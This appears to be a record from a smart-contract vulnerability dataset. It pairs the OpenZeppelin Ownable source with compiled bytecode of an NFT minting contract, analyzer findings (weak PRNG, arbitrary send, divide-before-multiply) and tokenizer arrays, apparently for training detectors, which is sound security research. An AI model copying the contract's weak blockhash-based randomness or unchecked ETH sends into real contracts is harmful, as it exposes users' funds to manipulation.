(access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061021b576000357c0100000000000000000000000000000000000000000000000000000000900480635c975abb1161013a578063a475b5dd116100cd578063cad96cca1161009c578063e985e9c511610081578063e985e9c5146105ee578063f2c4ce1e14610644578063f2fde38b1461066457600080fd5b8063cad96cca146105ab578063d5abeb01146105d857600080fd5b8063a475b5dd14610541578063b88d4fde14610556578063c668286214610576578063c87b56dd1461058b57600080fd5b80638da5cb5b116101095780638da5cb5b146104ce57806395d89b41146104f9578063a0712d681461050e578063a22cb4651461052157600080fd5b80635c975abb1461045a5780636352211e1461047957806370a0823114610499578063715018a6146104b957600080fd5b806323b872dd116101b257806342842e0e1161018157806342842e0e146103e05780634f6ccce714610400578063518302271461042057806355f804b31461043a57600080fd5b806323b872dd1461034c5780632a55205a1461036c5780632f745c59146103b85780633ccfd60b146103d857600080fd5b8063081c8c44116101ee578063081c8c44146102de578063095ea7b3146102f357806313faede61461031357806318160ddd1461033757600080fd5b806301ffc9a71461022057806302329a291461025557806306fdde0314610277578063081812fc14610299575b600080fd5b34801561022c57600080fd5b5061024061023b3660046132a7565b610684565b60405190151581526020015b60405180910390f35b34801561026157600080fd5b506102756102703660046132e0565b610739565b005b34801561028357600080fd5b5061028c6107f6565b60405161024c9190613371565b3480156102a557600080fd5b506102b96102b4366004613384565b610888565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161024c565b3480156102ea57600080fd5b5061028c610962565b3480156102ff57600080fd5b5061027561030e3660046133c1565b6109f0565b34801561031f57600080fd5b50610329600f5481565b60405190815260200161024c565b34801561034357600080fd5b50600854610329565b34801561035857600080fd5b506102756103673660046133eb565b610b7d565b34801561037857600080fd5b5061038c610387366004613427565b610c1e565b6040805173ffffffffffffffffffffffffffffffffffffffff909316835260208301919091520161024c565b3480156103c457600080fd5b506103296103d33660046133c1565b610d7f565b610275610e4e565b3480156103ec57600080fd5b506102756103fb3660046133eb565b610fd1565b34801561040c57600080fd5b5061032961041b366004613384565b610fec565b34801561042c57600080fd5b506011546102409060ff1681565b34801561044657600080fd5b5061027561045536600461350c565b6110aa565b34801561046657600080fd5b5060115461024090610100900460ff1681565b34801561048557600080fd5b506102b9610494366004613384565b611142565b3480156104a557600080fd5b506103296104b4366004613555565b6111f4565b3480156104c557600080fd5b506102756112c2565b3480156104da57600080fd5b50600a5473ffffffffffffffffffffffffffffffffffffffff166102b9565b34801561050557600080fd5b5061028c61134f565b61027561051c366004613384565b61135e565b34801561052d57600080fd5b5061027561053c366004613570565b6116cb565b34801561054d57600080fd5b506102756116d6565b34801561056257600080fd5b506102756105713660046135a3565b611784565b34801561058257600080fd5b5061028c61182c565b34801561059757600080fd5b5061028c6105a6366004613384565b611839565b3480156105b757600080fd5b506105cb6105c6366004613384565b6119e8565b60405161024c9190613689565b3480156105e457600080fd5b5061032960105481565b3480156105fa57600080fd5b5061024061060936600461369c565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561065057600080fd5b5061027561065f36600461350c565b611a9a565b34801561067057600080fd5b5061027561067f366004613555565b611b2e565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167fcad96cca0000000000000000000000000000000000000000000000000000000014156106d857506001919050565b7fffffffff0000000000000000000000000000000000000000000000000000000082167f2a55205a00000000000000000000000000000000000000000000000000000000141561072a57506001919050565b61073382611c5b565b92915050565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146107bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60118054911515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909216919091179055565b606060008054610805906136c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610831906136c6565b801561087e5780601f106108535761010080835404028352916020019161087e565b820191906000526020600020905b81548152906001019060200180831161086157829003601f168201915b5050505050905090565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff16610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016107b6565b5060009081526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6012805461096f906136c6565b80601f016020809104026020016040519081016040528092919081815260200182805461099b906136c6565b80156109e85780601f106109bd576101008083540402835291602001916109e8565b820191906000526020600020905b8154815290600101906020018083116109cb57829003601f168201915b505050505081565b60006109fb82611142565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016107b6565b3373ffffffffffffffffffffffffffffffffffffffff82161480610ae25750610ae28133610609565b610b6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107b6565b610b788383611cb1565b505050565b610b873382611d51565b610c13576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107b6565b610b78838383611ec1565b6000828152600b60205260408120548190610c3e57506000905080610d78565b6000848152600b6020908152604080832080548251818502810185019093528083529192909190849084015b82821015610cdc576000848152602090819020604080518082019091529084015473ffffffffffffffffffffffffffffffffffffffff811682527401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1681830152825260019092019101610c6a565b50505050905080600081518110610cf557610cf561371a565b60209081029190910101515192506000805b8251811015610d5b57828181518110610d2257610d2261371a565b6020026020010151602001516bffffffffffffffffffffffff1682610d479190613778565b915080610d5381613790565b915050610d07565b50612710610d6986836137c9565b610d739190613835565b925050505b9250929050565b6000610d8a836111f4565b8210610e18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e647300000000000000000000000000000000000000000060648201526084016107b6565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600660209081526040808320938352929052205490565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610ecf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b6000610ef0600a5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff163160405160006040518083038185875af1925050503d8060008114610f5e576040519150601f19603f3d011682016040523d82523d6000602084013e610f63565b606091505b5050905080610fce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5472616e73666572206661696c65642e0000000000000000000000000000000060448201526064016107b6565b50565b610b7883838360405180602001604052806000815250611784565b6000610ff760085490565b8210611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e6473000000000000000000000000000000000000000060648201526084016107b6565b600882815481106110985761109861371a565b90600052602060002001549050919050565b600a5473ffffffffffffffffffffffffffffffffffffffff16331461112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b805161113e90600d9060208401906131e0565b5050565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff1680610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016107b6565b600073ffffffffffffffffffffffffffffffffffffffff8216611299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016107b6565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b600a5473ffffffffffffffffffffffffffffffffffffffff163314611343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b61134d6000612133565b565b606060018054610805906136c6565b600081116113ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d696e7420616d6f756e74206d7573742062652067726561746572207468616e60448201527f203000000000000000000000000000000000000000000000000000000000000060648201526084016107b6565b601154610100900460ff1615611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4d696e74696e672069732070617573656400000000000000000000000000000060448201526064016107b6565b6010548161146d60085490565b6114779190613778565b11156114df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f416c6c204e4654732068617665206265656e206d696e7465640000000000000060448201526064016107b6565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146115755780600f5461150c91906137c9565b341015611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496e73756666696369656e742066756e647320746f206d696e7400000000000060448201526064016107b6565b60015b8181116115e25761158d600c80546001019055565b6000611598600c5490565b90506115a433826121aa565b6115cf816115c7600a5473ffffffffffffffffffffffffffffffffffffffff1690565b6103e86121c4565b50806115da81613790565b915050611578565b506008546101f4141561160057610fce671bc16d674ec80000612293565b6008546103e8141561161d57610fce6729a2241af62c0000612293565b6008546105dc141561163a57610fce6730927f74c9de0000612293565b6008546107d0141561165757610fce673782dace9d900000612293565b600854610bb8141561167457610fce674563918244f40000612293565b600854610fa0141561169157610fce674563918244f40000612293565b60085461138814156116ae57610fce6753444835ec580000612293565b600854611a0a1415610fce57610fce676f05b59d3b200000612293565b61113e338383612385565b600a5473ffffffffffffffffffffffffffffffffffffffff163314611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b61178e3383611d51565b61181a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107b6565b611826848484846124b3565b50505050565b600e805461096f906136c6565b60008181526002602052604090205460609073ffffffffffffffffffffffffffffffffffffffff166118ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016107b6565b60115460ff166119895760128054611904906136c6565b80601f0160208091040260200160405190810160405280929190818152602001828054611930906136c6565b801561197d5780601f106119525761010080835404028352916020019161197d565b820191906000526020600020905b81548152906001019060200180831161196057829003601f168201915b50505050509050919050565b6000611993612556565b51116119ae5760405180602001604052806000815250610733565b6119b6612556565b6119bf83612565565b600e6040516020016119d393929190613849565b60405160208183030381529060405292915050565b6060600b6000838152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015611a8f576000848152602090819020604080518082019091529084015473ffffffffffffffffffffffffffffffffffffffff811682527401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1681830152825260019092019101611a1d565b505050509050919050565b600a5473ffffffffffffffffffffffffffffffffffffffff163314611b1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b805161113e9060129060208401906131e0565b600a5473ffffffffffffffffffffffffffffffffffffffff163314611baf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b73ffffffffffffffffffffffffffffffffffffffff8116611c52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016107b6565b610fce81612133565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806107335750610733826126b6565b600081815260046020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84169081179091558190611d0b82611142565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff16611e02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016107b6565b6000611e0d83611142565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e7c57508373ffffffffffffffffffffffffffffffffffffffff16611e6484610888565b73ffffffffffffffffffffffffffffffffffffffff16145b80611eb9575073ffffffffffffffffffffffffffffffffffffffff80821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b8273ffffffffffffffffffffffffffffffffffffffff16611ee182611142565b73ffffffffffffffffffffffffffffffffffffffff1614611f84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e657200000000000000000000000000000000000000000000000000000060648201526084016107b6565b73ffffffffffffffffffffffffffffffffffffffff8216612026576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016107b6565b612031838383612799565b61203c600082611cb1565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805460019290612072908490613944565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054600192906120ad908490613778565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61113e8282604051806020016040528060008152506127a4565b604080516001808252818301909252600091816020015b60408051808201909152600080825260208201528152602001906001900390816121db57905050905082816000815181106122185761221861371a565b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818160008151811061226a5761226a61371a565b6020908102919091018101516bffffffffffffffffffffffff9092169101526118268482612847565b60006122b16122a160085490565b6122ac906001613778565b612b0f565b905060006122be82611142565b73ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114612315576040519150601f19603f3d011682016040523d82523d6000602084013e61231a565b606091505b5050905080610b78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4769766561776179207472616e73666572206661696c65642e0000000000000060448201526064016107b6565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561241b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107b6565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526005602090815260408083209487168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6124be848484611ec1565b6124ca84848484612b28565b611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016107b6565b6060600d8054610805906136c6565b6060816125a557505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156125cf57806125b981613790565b91506125c89050600a83613835565b91506125a9565b60008167ffffffffffffffff8111156125ea576125ea613449565b6040519080825280601f01601f191660200182016040528015612614576020820181803683370190505b5090505b8415611eb957612629600183613944565b9150612636600a8661395b565b612641906030613778565b7f0100000000000000000000000000000000000000000000000000000000000000028183815181106126755761267561371a565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506126af600a86613835565b9450612618565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061274957507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061073357507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614610733565b610b78838383612d18565b6127ae8383612e1e565b6127bb6000848484612b28565b610b78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016107b6565b6000805b8251811015612a7357600073ffffffffffffffffffffffffffffffffffffffff1683828151811061287e5761287e61371a565b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff161415612908576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f526563697069656e742073686f756c642062652070726573656e74000000000060448201526064016107b6565b82818151811061291a5761291a61371a565b6020026020010151602001516bffffffffffffffffffffffff166000141561299e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f526f79616c74792076616c75652073686f756c6420626520706f73697469766560448201526064016107b6565b8281815181106129b0576129b061371a565b6020026020010151602001516bffffffffffffffffffffffff16826129d59190613778565b9150600b60008581526020019081526020016000208382815181106129fc576129fc61371a565b6020908102919091018101518254600181018455600093845292829020815191909201516bffffffffffffffffffffffff16740100000000000000000000000000000000000000000273ffffffffffffffffffffffffffffffffffffffff9091161791015580612a6b81613790565b91505061284b565b506127108110612b05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f526f79616c747920746f74616c2076616c75652073686f756c64206265203c2060448201527f313030303000000000000000000000000000000000000000000000000000000060648201526084016107b6565b610b788383612fec565b600081612b1d600143613944565b61073391904061395b565b600073ffffffffffffffffffffffffffffffffffffffff84163b15612d0d576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290612b9f90339089908890889060040161396f565b6020604051808303816000875af1925050508015612bf8575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252612bf5918101906139b8565b60015b612cc2573d808015612c26576040519150601f19603f3d011682016040523d82523d6000602084013e612c2b565b606091505b508051612cba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016107b6565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611eb9565b506001949350505050565b73ffffffffffffffffffffffffffffffffffffffff8316612d8057612d7b81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612dbd565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612dbd57612dbd8382613029565b73ffffffffffffffffffffffffffffffffffffffff8216612de157610b78816130e0565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610b7857610b78828261318f565b73ffffffffffffffffffffffffffffffffffffffff8216612e9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107b6565b60008181526002602052604090205473ffffffffffffffffffffffffffffffffffffffff1615612f27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107b6565b612f3360008383612799565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260408120805460019290612f69908490613778565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b7f3fa96d7b6bcbfe71ef171666d84db3cf52fa2d1c8afdb1cc8e486177f208b7df828260405161301d9291906139d5565b60405180910390a15050565b60006001613036846111f4565b6130409190613944565b6000838152600760205260409020549091508082146130a05773ffffffffffffffffffffffffffffffffffffffff841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b50600091825260076020908152604080842084905573ffffffffffffffffffffffffffffffffffffffff9094168352600681528383209183525290812055565b6008546000906130f290600190613944565b6000838152600960205260408120546008805493945090928490811061311a5761311a61371a565b90600052602060002001549050806008838154811061313b5761313b61371a565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480613173576131736139ee565b6001900381819060005260206000200160009055905550505050565b600061319a836111f4565b73ffffffffffffffffffffffffffffffffffffffff9093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546131ec906136c6565b90600052602060002090601f01602090048101928261320e5760008555613254565b82601f1061322757805160ff1916838001178555613254565b82800160010185558215613254579182015b82811115613254578251825591602001919060010190613239565b50613260929150613264565b5090565b5b808211156132605760008155600101613265565b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610fce57600080fd5b6000602082840312156132b957600080fd5b81356132c481613279565b9392505050565b803580151581146132db57600080fd5b919050565b6000602082840312156132f257600080fd5b6132c4826132cb565b60005b838110156133165781810151838201526020016132fe565b838111156118265750506000910152565b6000815180845261333f8160208601602086016132fb565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260006132c46020830184613327565b60006020828403121561339657600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff811681146132db57600080fd5b600080604083850312156133d457600080fd5b6133dd8361339d565b946020939093013593505050565b60008060006060848603121561340057600080fd5b6134098461339d565b92506134176020850161339d565b9150604084013590509250925092565b6000806040838503121561343a57600080fd5b50508035926020909101359150565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff8084111561349357613493613449565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019082821181831017156134d9576134d9613449565b816040528093508581528686860111156134f257600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561351e57600080fd5b813567ffffffffffffffff81111561353557600080fd5b8201601f8101841361354657600080fd5b611eb984823560208401613478565b60006020828403121561356757600080fd5b6132c48261339d565b6000806040838503121561358357600080fd5b61358c8361339d565b915061359a602084016132cb565b90509250929050565b600080600080608085870312156135b957600080fd5b6135c28561339d565b93506135d06020860161339d565b925060408501359150606085013567ffffffffffffffff8111156135f357600080fd5b8501601f8101871361360457600080fd5b61361387823560208401613478565b91505092959194509250565b600081518084526020808501945080840160005b8381101561367e578151805173ffffffffffffffffffffffffffffffffffffffff1688528301516bffffffffffffffffffffffff168388015260409096019590820190600101613633565b509495945050505050565b6020815260006132c4602083018461361f565b600080604083850312156136af57600080fd5b6136b88361339d565b915061359a6020840161339d565b6002810460018216806136da57607f821691505b60208210811415613714577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000821982111561378b5761378b613749565b500190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137c2576137c2613749565b5060010190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561380157613801613749565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008261384457613844613806565b500490565b60008451602061385c8285838a016132fb565b85519184019161386f8184848a016132fb565b85549201916000906002810460018083168061388c57607f831692505b8583108114156138c3577f4e487b710000000000000000000000000000000000000000000000000000000085526022600452602485fd5b8080156138d7576001811461390657613933565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00851688528388019550613933565b60008b81526020902060005b8581101561392b5781548a820152908401908801613912565b505083880195505b50939b9a5050505050505050505050565b60008282101561395657613956613749565b500390565b60008261396a5761396a613806565b500690565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526139ae6080830184613327565b9695505050505050565b6000602082840312156139ca57600080fd5b81516132c481613279565b828152604060208201526000611eb9604083018461361f565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea2646970667358221220905dbf92235abd43b0b2610893a0e728e59c6073c925b86e30a66a854e154ecf64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2549, 2094, 2581, 26187, 2692, 2629, 2063, 25746, 2549, 2497, 2487, 2063, 29097, 2094, 2629, 9818, 2692, 23833, 2475, 2094, 2692, 2475, 4246, 2549, 2497, 2692, 15878, 2475, 2278, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1030, 10958, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,460
0x96d56BF31Cac9a953916F7a5C65d837188069f09
